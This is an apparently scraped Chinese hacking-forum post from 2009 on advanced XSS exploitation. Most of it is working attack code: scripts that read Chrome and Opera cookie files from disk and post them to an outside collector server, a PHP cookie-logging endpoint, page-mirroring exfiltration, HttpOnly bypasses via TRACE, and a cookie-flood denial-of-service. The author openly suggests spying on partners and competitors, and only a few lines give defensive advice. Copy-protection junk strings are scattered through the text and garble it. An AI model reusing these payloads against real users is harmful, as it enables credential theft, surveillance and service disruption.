XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

4 E+ a! D, u& g/ x( VXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
8 q$ {( ]) {2 z  h0 m: U3 h: W- uBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
0 h1 H4 q, ]: |转帖请保留版权


6 `4 `) c6 b- L% Z5 ?5 P
" I6 l3 d( ?  u% n# f6 B- A' G8 @-------------------------------------------前言---------------------------------------------------------
# W8 q$ E8 W$ k6 a: E$ \

8 j$ }. B- t1 l' D2 f1 F: A' b本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
0 p: E% h! {3 Y2 q) l5 c. g# j
/ N& f  {5 W" @+ r
, {4 h$ D% J  h, A& Q如果你还未具备基础XSS知识,以下几个文章建议拜读:
  d/ X" m! S7 xhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
7 _' t" m0 C, R0 _$ {* @. xhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

) D  j/ u. h' I
  {2 k# y: z+ o) v
$ V# b! X& V  Q
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

' T5 K7 L- ?+ k- t, q) N5 w如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

5 P  h  X% J& Z0 c1 {, ~; o+ G: jBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

2 @2 T$ K" u3 [OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
0 ~. v% P  d1 a
..........
  K1 F4 [9 E: I% P" o# y复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

3 K5 j2 \9 r# G: u! P5 O; q

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
1 z3 {- [2 s/ z9 x$ d. H
" X  d1 J/ b1 }4 l" B, H, s

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- L! i0 K  N% v( }5 P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 g! d: u6 h$ O( O5 \/ {我们在这里重点探讨以下几个问题:
* @7 G! r3 v( K0 }/ W) \* T6 G
1        通过XSS,我们能实现什么?
' W0 F. L8 J4 ^: K
) Q3 Z  `+ u' I" s3 l) c2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

& T, v% g* j( E$ l9 r7 o% u3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

# X9 y! Y/ a) |) x* g3 f4        XSS漏洞在输出和输入两个方面怎么才能避免.
) T" h; a, ?: ~& U, g5 M7 S4 G: C


6 T( m2 z) ]6 N------------------------------------------研究正题----------------------------------------------------------


# Y* e9 d% F+ X' @  ^5 k
5 Q+ m' C# z2 M- F通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
, q$ C1 q& _& s+ Z6 }复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
  r+ K9 f: C  b3 r$ R1 D$ T复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



5 V, g1 G) N$ r- D' X- c" Q  G
) a# N3 t6 C. g' O# P
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

6 y, h' J8 S7 X8 K' J. |/ b我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

8 @: I) A6 p# l7 S

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
$ d/ f0 [- L2 U+ O; X$ N  o
  r; c3 M: U- S( }! W1 V
, l6 `( w3 x0 o! {) k, o
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
& L, f; Y/ _  F8 M3 a) i


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
- l% f- C; P9 z! d复制代码IE6使用ajax读取本地文件    <script>
) w0 V/ }# Z3 e3 [
0 X6 S) p& U1 c$ J9 I1 p    function $(x){return document.getElementById(x)}


, x7 W( J# t; h; _/ b5 u
9 S" l, @5 q% `: `  L* O    function ajax_obj(){

    var request = false;
- i3 Z6 _: I  [2 g( N; I1 t
8 L( V2 W* @. b    if(window.XMLHttpRequest) {
0 K1 {  o; }# m( q3 ^& i
3 k1 d6 V# x5 O2 n" P$ p    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
+ H. u/ {, |3 t
  M. F5 G( G- H, p2 W& j$ `

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' H: @8 V1 B) |  e3 u% ]9 G
2 {$ e) y$ s; r    for(var i=0; i<versions.length; i++) {

" Z# h- K2 U5 K1 ?+ r" I    try {

    request = new ActiveXObject(versions);

    } catch(e) {}

9 s0 {. i1 C, l. W% c0 U6 c; U    }

9 b3 V1 F2 t0 \. U* J* f# S7 e. J. ^    }

    return request;

    }
# P- |, c( X9 c% w4 {6 H: z( ~. U
' A8 A3 k) G  B4 ~    var _x = ajax_obj();

    function _7or3(_m,action,argv){

  a0 e! u9 g( C7 N1 P* L% B    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
) o" \5 u( g* E" ]
0 @) b* y3 R& I. P0 ?' t    _x.send(argv);
7 @5 V5 ?4 g1 ?: J
* m2 f/ o% s0 R- n    return _x.responseText;

    }

2 e+ n6 W, R# B% v/ m; B) p
  H$ Q$ ?! @$ z$ ~3 B0 h
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
; ?6 a) s+ T: E6 s, a


    </script>
7 x( y$ f1 `# B, T) x复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
) J5 @: P* H3 \2 v  X2 C
6 ~1 p  J5 V- H  m# L    function $(x){return document.getElementById(x)}


0 P$ }$ r; n' @  m" k
& ]; K9 l5 ]( n& n5 Y    function ajax_obj(){
1 V! m1 z' f7 s: u- q" A0 _
$ |7 T" L' w9 y% A" l! Y$ ~    var request = false;
. c5 H2 y+ }( h$ O5 v' z8 V6 e- X
    if(window.XMLHttpRequest) {

1 z4 q* m7 f2 D0 m9 z    request = new XMLHttpRequest();
7 g# V4 g* A1 h8 {, }! c" ]6 q4 v
    } else if(window.ActiveXObject) {

3 P; W% k* \. R3 Q2 ]; {    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


% p* W* S% F% b' M( P: [
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 E. h% @5 k6 G7 H3 y; R( y
! `" r; h: u+ l2 x6 ], O    for(var i=0; i<versions.length; i++) {

    try {
$ e7 H- s2 [! `& N9 }6 Z; h
. c0 s! g( [, b6 ?1 \' _: `    request = new ActiveXObject(versions);

- M: N( B% Z+ [    } catch(e) {}

0 J; _3 O; q: c& Q2 w    }
3 F/ x9 g& K( e" K
& ]+ S) }7 A% K' c6 D8 k    }
. r0 o* V. A" i5 c! E- F; m' f
+ N6 p! M, M$ }2 C  n6 o    return request;
6 o# _4 d* V+ x9 W. N  Z4 ?9 m3 N
    }
# o5 g! e4 w; Y* L0 N
+ _8 f! |$ q( V% {2 t! W    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* w* P( f8 R( c- \2 o2 l% J
  C; Q2 e" _% F; k  ~/ i+ t    _x.send(argv);
: m! ^  [8 q+ |) a
( z* D: ]( S7 Q$ K6 s    return _x.responseText;
8 Q" \% i" ^8 E; k- n
    }

7 w0 S0 g3 d( a- ~- c4 I
) L- F# C2 y: y6 r7 p
2 D; i% E$ j( y    var txt=_7or3("GET","1/11.txt",null);
9 g: t' ^: R0 `% y. W6 d
    alert(txt);

: E2 P% V3 k! q
$ K( p, ^. w0 J
    </script>
1 f" k! ?' o4 a  u! v8 ^& C复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

7 R  p& ]; I$ {5 B6 p9 q: n
& {0 h1 Z3 x/ o5 u0 O4 V  X
% F' r2 K& t# }, L/ t. IChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
9 W# h* I* C9 M; Q9 ^: w; m- k' N
2 T# z. n. w9 `" J# n7 A8 V7 z
  I. r6 `4 Z" j9 k' I3 M
<?   

: L- h8 Y6 Y# r. z  j/*  
9 e! d. D( v  T' ~4 i1 \
+ b+ ?. x; r$ M+ o     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

' l3 W- A* \$ `! M- u% R% C; S/ W; k     www.inbreak.net   
+ `$ ]- a8 N9 R, O
" z* `& x/ @  v  u8 x2 Q     author voidloafer@gmail.com 2009-4-22   
) s' \- j$ m, t9 l+ ]& {6 y
1 \, ?' x4 N# K$ V+ z  v6 H: O: J& Q     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
6 N' }' e7 m, ^7 a
*/  
9 u; C, z0 i. k8 c1 y6 T9 D
/ q+ o5 U: U' x& R9 S- Rheader("Content-Disposition: attachment;filename=kxlzx.htm");   
. x# K* O. o8 e: M8 T- B7 a
( }+ j2 u" u; a. Z. N. Dheader("Content-type: application/kxlzx");   
+ [- o2 R( ^" \3 C4 R* ~
1 {5 ^# G0 L* V0 b/*  
; t- c, Q; Z) ?7 g
- t/ a# K# Y* o5 n     set header, so just download html file,and open it at local.  

*/  

* h" M- D* X" v: I. D4 ~  W" o% j/ v?>   
3 V0 b1 _* R# f' n* A& g0 d
7 e" K8 G6 ?  D! C! _  J+ K<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
! d4 }3 O, E$ S+ ]5 A; ?
     <input id="input" name="cookie" value="" type="hidden">   
. l& L$ O9 ~% i
" {+ @# A8 J8 y+ B, b</form>   
  g0 k! S9 x! w$ s# X& o
<script>   

function doMyAjax(user)   

{   

; C* _. Q$ Y4 T5 O+ O0 f" n- Y$ s2 mvar time = Math.random();   
. E$ G( W3 A+ {; r- ^% J$ `. n$ ?
) h! I. v; y2 S/ J/*  
  j8 D+ ~, r1 s" ]& a7 w. F
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

* P- U' g! l: L+ g: ?9 Zand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
& X" @/ g( V+ b( z5 e( a9 {" E
and so on...  

*/  

' ?. `0 s; h  L# O" ?var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

* V1 i* y* f  Z. C$ P6 H4 MstartRequest(strPer);   
  I0 p. `6 _& B. o


}   
' q% c: X+ F+ s
& s8 `) u, w/ p4 c% t, ]$ p   

5 v- G! y% V9 Ifunction Enshellcode(txt)   

{   
1 K9 N6 }" y; x1 m3 G( Q( e% I
var url=new String(txt);   

var i=0,l=0,k=0,curl="";   
4 j" e' Q, I$ \- |! s8 ^
: i. ?7 h2 _0 u8 ]l= url.length;   

% E/ A9 q! w- Cfor(;i<l;i++){   

k=url.charCodeAt(i);   

( T- p  l! l; y3 G; m+ Wif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
+ h9 H9 A, V  t
# w% g( s' U( |0 e% ^1 O" bif (l%2){curl+="00";}else{curl+="0000";}   
! Z- u; z# U( i9 p# H
+ V+ g8 R1 f  ^' m; u- Wcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
' J$ l' O% C4 L% O. x
; Z/ u2 z$ s. G( ^% w( q: treturn curl;   
* X& H' u% u% l" o& \
}   
' b* x3 V( q1 i( c% W
   

   
! y' Z6 }" p0 F5 @8 ]2 {1 m
& {% B' k6 a$ e/ o/ D0 ?, k( yvar xmlHttp;   
! ?# s7 Z* k- U1 p) ^0 F" u
. {$ @- R2 |% m, dfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
% |; }: V& j" j
. U, i6 u/ G; V0 X! UxmlHttp = new XMLHttpRequest();           

     }   
: Z: n( A. Y+ E1 r$ a& h
     else if(window.ActiveXObject){   

1 Z; {5 F7 S1 i" M  h9 ^& M  @xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
" I- v, W# Z4 |$ d
     }   

2 v: T7 A' H6 s+ x}   

   
' e  M3 @: ]5 B( w/ \) F% I
1 T* l$ `7 y. @4 r/ z& Q2 [7 rfunction startRequest(doUrl){   
  Q6 f0 W- i* O5 e
   
1 N; N5 e0 F! i1 K1 e, E
     createXMLHttp();   


, V" q$ S  r7 P4 `( d
* ~, h! b: o# U6 ?9 [  v     xmlHttp.onreadystatechange = handleStateChange;   

) b! H' F: n( M
& `+ w9 |3 u3 x# F  E7 ^
# y: K- b7 E5 m2 F  q0 q     xmlHttp.open("GET", doUrl, true);   
2 F9 m  W% E& [6 J- }$ q
" z$ _. y( P& c( a

     xmlHttp.send(null);   
8 m, \; Y: c# P3 E0 h/ e

: w) ]: E0 }; c( ], x2 a# D7 T

: R8 h% Q; N1 _7 r
}   

- I8 E4 l0 @6 O) X" D* d9 X   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
% q0 a6 y0 e3 I: [2 p
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
2 b2 f! d! O4 s( s2 l  O
        

+ m& r/ |3 Y8 b, A3 _  Q) U" G     }   
" Z9 ?( Q% l1 a* d
- Z  b/ D, i: j0 ?' a, i}   

: x+ A3 U! G1 d- C   

8 H/ R8 f: ^- b3 ]) z  ]5 t& ?& z4 w   
8 R: b' [( F. H8 v" t& h
function framekxlzxPost(text)   
0 Y8 d% v( p2 ~
& D- x8 y% c! X; D+ ]{   

     document.getElementById("input").value = Enshellcode(text);   

9 \: T, ]# X" W4 [     document.getElementById("form").submit();   

3 n' m+ x4 i6 c4 \}   
6 L, B. j$ R( {! L. c) V
   
8 Z( n' }* Z, P
doMyAjax("administrator");   
: U% a2 {+ N) M
1 b- o4 j3 {; u- V! C   

5 t; |6 R5 G/ C7 g3 }# l3 }</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
8 u( k' h5 G" i+ X! {
  Y# U; m/ ^# q/ Z% |* O4 nvar xmlHttp;  

function createXMLHttp(){  
( a% a; N7 H* L9 P) |
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
6 Y8 q( [4 s/ |
     }  

     else if(window.ActiveXObject){  
( f/ o9 Y5 K) ~* B3 h, Z0 @( U+ T
% B& F2 d1 C) p7 G( l         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

% l* S4 H" ~' b: n2 X. j6 s     }  

}  
3 H' |# T, H' x' A% h6 f; ^) n  g- y
   
2 Y4 Y7 u. v3 J* J
function startRequest(doUrl){  
( o, V" I  @4 ^+ y0 d3 g
           
# j" l& ^0 w) S# s' c: ^
     createXMLHttp();  

      
% x+ `5 l; p! R" Y$ z; Q6 q" ~
+ h9 l7 x. G* ?* q     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  
3 O! D5 y7 `6 y6 a. q
      

     xmlHttp.send(null);  
  q$ _, N4 s( `) O+ r. ]5 j
      
# d1 m& y/ ~# B% }( C
' d7 g% i) E, x8 w/ G/ H  M4 Y      

# f3 t9 T' _2 N5 x8 d4 U! U}   

   

function handleStateChange(){  

- \7 m3 P) `6 ]  ~! K6 X     if (xmlHttp.readyState == 4 ){  

/ W6 M' O% Y: t' W8 Q             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
+ A7 M& y% w2 }' M- e
$ N* c6 ~3 k+ L2 K% m* }6 F               
- d7 X. U5 y7 ]1 ~
     }  

}  
6 G/ q: x8 q5 Z
   

function doMyAjax(user,file)  
, ]% Y+ S7 |, E8 `; t, k- v2 g' h
% b0 v1 M; u' P% s{  

         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

* Y" q5 S9 b, z: d' W           

9 ?% V; s+ }: i6 t+ J: w: Y         startRequest(strPer);  
# h6 K# Q* u( y& D. v
      

$ O+ U- V$ a- I8 A6 [+ Q}  
7 J: ?) i2 e' M3 W
   

function framekxlzxPost(text)  

' F0 l$ x3 l- N{  
) P3 R0 N) h9 r8 s
; C# K; u! [8 e' y$ g5 v     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
' n8 u! V3 v; q7 l# |* x
     alert(/ok/);  

}  

0 s, d" w* N$ O2 B: v   

- E  N, x: Q2 F; odoMyAjax('administrator','administrator@alibaba[1].txt');  
; Q. q* w$ c- `8 H8 g; U8 D) |
9 C9 q4 V  ^% O4 u) R" g   

9 v8 F4 o6 d3 r8 y- r0 v- o5 B& q! ^9 Q</script>



4 n2 }9 I9 W9 w. \4 x. j2 \
( k# v/ y( Y7 ^' G
0 t2 Y' }0 v  u# D2 H+ y* c1 ga.php


+ h" V; t# B) [  q/ j
<?php      
2 q, {9 K/ W0 k9 H7 Q7 y
   
# Q- S; P' ]) J2 N
* p8 q* d$ a* t1 G$ ?2 i$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

8 a8 a' C. M9 j* d9 q$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

+ n8 I2 ?/ Z# |9 Y6 i0 c1 ~  

9 `2 l0 R4 z" d$ s! n0 I9 H! D! }$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

  \9 A5 z' @+ V9 J2 F6 M0 cfwrite($fp,$_GET["cookie"]);      
; z* W; ?9 D6 G4 O, G
fclose($fp);   
/ c: m: J" F% [# c2 \' Q, E
  q4 X' J' Q: @+ _  @6 {  N4 W?>
) P& K: i+ Q2 s6 I$ V+ V0 a. f+ L+ y复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
1 @2 S: U2 r3 F& j
/ [& _  K3 l8 `5 B. e9 G" [或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
3 u- H( C8 E( |& J利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
6 t) D/ k# O8 ~" R# r
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

) w  E( H9 C" Y4 r" j+ Ufunction getURL(s) {
$ f8 Z; g% s+ a- q- L( {* n
var image = new Image();
( c8 z" q  D# J" g/ M
image.style.width = 0;
  \$ M" m9 p6 O/ G2 g
image.style.height = 0;
" B3 I% i! x) z1 L, V5 R$ B$ j
5 j' Q- F2 l5 a/ Z* Aimage.src = s;

}

$ ~8 F8 p9 c; v- q9 X, \- zgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 M3 S9 d$ u5 P* w" u( {复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: {8 a0 q6 J- d) o4 Y( h这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

while (str.length < 4000){

$ i1 W, A( o: J8 @! `* b    str += metastr;

1 ~& E; q( _  j# Z( i}
5 o2 U- E8 `& X* @) N8 _$ h: ~6 a
2 d1 t. i3 L2 I' X

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

5 f; {% s9 q' ?& f* W</script>
2 r  T+ o7 C! ^: n' j9 }4 g7 j& ]
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ M0 G1 @( U* z  {9 t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' g) A. j% T, G7 _) \) @7 H/ Y6 oserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

" l6 d3 P3 _5 b假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
, o& t; n2 j  h4 R' b6 s攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
$ Y7 G4 y% i' U* \* _4 m7 d


. B0 _. W9 C/ q* M. V5 [* o


(III) Http only bypass 与 补救对策:

5 W; D7 e4 W9 u( o3 R2 i8 v0 Q什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
( ~8 k  e4 \" `7 o( t" ~以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
; o4 V( O8 ^5 N& b% j* e
  |% i% b' A) R  }function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
/ h1 \* m/ C- m; v* w
" K* J; F% p$ q$ M* Z- `}

2 \& k2 b5 C$ n: b6 I5 b+ Z' i7 e% D
; g# O2 r+ [5 I# E' v; F
7 N- g% T, _  M  f

+ G  n9 n$ D  w* s3 t, F/ tfunction httpOnlyCookie() {
! b- M0 I  C& k6 h+ S
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
  n" s4 x: O* k+ m4 Z, ?
alert(document.cookie);}

+ i/ C( S) c! M# d; s2 T; d

//-->
7 v5 u- a! h( o6 P+ f4 W
  m# a# u9 o$ D4 e2 g' W6 P</script>
4 R8 R3 J3 v  D. g
9 D$ u/ [3 p2 L3 ?/ p% o
8 a" [" w7 U# o$ u8 W
" S3 U) b2 U1 s5 I1 n  K! m<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

. h  a! P  P9 G, z0 {<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
' c* A( N, V, u" o! O  e- H3 A7 W复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

4 f& f- e( |; T* U" k/ a: g- v# z

. N4 G6 W2 ?2 a6 u$ ?var request = false;
  S7 C$ m4 K  T' ~
        if(window.XMLHttpRequest) {
3 }, x3 v: l# ~% F  n5 b) |: n
            request = new XMLHttpRequest();
2 {6 o# ?* b2 [* V1 V, w
            if(request.overrideMimeType) {
$ b, c7 w, c  [. @6 d) X% {
                request.overrideMimeType('text/xml');

& R5 h2 ]4 _$ K1 q2 C7 [            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
3 l- d, t3 M: @6 n5 q
# v2 \, w* a' e" j                try {
5 X! Q% ^7 Z+ Y! r7 n- `
1 s# V4 w3 ]3 b. f; l- F                    request = new ActiveXObject(versions);
3 K! \: ]& L: d2 S. W
                } catch(e) {}

7 l5 {2 J+ z1 c0 z' R- @            }

: y0 J1 j5 c1 i7 d  R* C- X8 X        }
* H$ m" q: X- N- V
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
* n7 M$ A3 H; V9 f
  b  o/ _& F, Z9 zxmlHttp.send(null);
! G4 {# k6 E/ J
xmlDoc=xmlHttp.responseText;
. z0 c; \* N7 @9 J- D
alert(xmlDoc);
" @) C! p! o8 f1 a# M$ l
</script>
6 E: q% g/ z0 A, P6 v1 o' ~/ Z复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- K& _% W) I* d) M6 L# S  V' C: d
7 Z  q1 U! S5 @3 WXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
# ]2 f' z. ]0 s' e0 y9 W9 y6 u  q
XmlHttp.send(null);

var resource=xmlHttp.responseText

; ~& [1 l& M! N1 R) Z8 p. n6 l. }7 Oresource.search(/cookies/);
4 Q/ \8 P! R  P5 ~  c# Z+ z
......................

</script>
. l1 J  I& ~% ~# G% |2 O3 X
( }' `5 P/ ?8 S( e5 Y
( o' o3 Q6 @, u0 M4 D4 z


如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
2 L+ g2 E: m: i2 N# p/ w
8 l- {. y* A( i( P2 H3 f4 T[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
( X, w4 z' |- P% A9 M
. c3 f  y1 a  I0 U) n, LRewriteRule .* - [F]
: \' f4 N5 a7 Q3 r) v. H. N


Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

6 p" ?* X3 z, ?4 m. T% Wacl TRACE method TRACE
% |( c: K% z5 |/ X3 H8 g
6 |! Q1 F5 B  e1 `1 }0 j/ K...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
% [' P- r( P5 A
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
1 K0 \9 s" R7 N& s7 p: m) m8 o
8 T3 s$ V' p. [- @XmlHttp.open("GET","http://www.google.com",false);
& \/ S  ^9 V' D) Y/ G
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
; L/ B  N/ d9 j0 d# K" U
XmlHttp.send(null);

8 Z' ^3 G! L5 R, ~* V9 S  m</script>
